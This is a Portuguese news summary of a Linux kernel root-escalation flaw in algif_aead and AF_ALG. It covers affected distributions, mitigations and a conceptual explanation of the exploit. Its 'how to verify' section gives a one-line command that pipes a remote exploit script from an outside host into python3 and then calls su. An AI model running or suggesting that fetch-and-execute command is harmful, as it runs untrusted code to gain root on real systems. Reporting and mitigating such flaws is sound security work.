Falha Crítica no Linux: Acesso Root Imediato!

Vulnerabilidade em otimização criptográfica concede privilégios de administrador a usuários locais desde 2017.

Descoberta Alarmante

Pesquisadores da Xint Code revelaram um exploit perigoso que concede acesso root instantâneo a qualquer usuário local não privilegiado. Um cenário de pesadelo para servidores multiusuário, ambientes de contêiner (Kubernetes) e pipelines CI/CD.

Abrangência e Impacto

  • Ampla Afectação: Praticamente todas as distribuições Linux em uso desde 2017 estão vulneráveis.
  • Distros Incluídas: Ubuntu 24, RHEL 10, Suse 16, Amazon Linux 2023 e até WSL2 do Windows.
  • Requisito Mínimo: Apenas 732 bytes para explorar a falha.
  • Não é Zero-Day: Um patch já foi lançado, mas o tempo para as distribuições reagirem foi curto.

Verificação e Mitigação

Como Verificar:

Execute “curl https://copy.fail/exp | python3 && su” com uma conta não privilegiada (cuidado com scripts online). O código-fonte do PoC está disponível se preferir.

Métodos de Mitigação:

  • Módulo algif_aead: Se carregado como módulo, adicione “echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf“.
  • Kernel Compilado: Para RHEL, WSL2 e outros, bloqueie a abertura de sockets AF_ALG via seccomp, AppArmor ou SELinux.

Divulgação Rápida

A equipe de segurança Xint Code não explicou a divulgação antecipada, mas mencionou o uso de uma IA. Como o código do kernel Linux é público, atacantes sérios poderiam encontrá-lo facilmente. Talvez a rapidez tenha sido uma necessidade.

Mecanismo do Exploit

O ataque é engenhoso:

  • AF_ALG: Um socket usado para criptografar/descriptografar dados.
  • Etapa de Ataque: Um executável (ex: “su”) é fornecido como “tag” através de um splice.
  • Falha na Otimização: A função algif_aead do kernel, em vez de copiar, encadeia os dados da tag diretamente ao buffer de saída por referência.
  • Corrupção em Memória: O algoritmo de criptografia “authencesn” escreve 4 bytes em um offset fixo no buffer de saída. Como a tag (“su”) faz parte desse buffer, esses bytes corrompem a cópia em cache do executável no kernel.
  • Resultado: Ao chamar o executável corrompido, o acesso de administrador é concedido. Tudo ocorre na memória, sem escritas em disco detectáveis, superando muitas suítes de segurança.
Baseado no artigo de Tom’s Hardware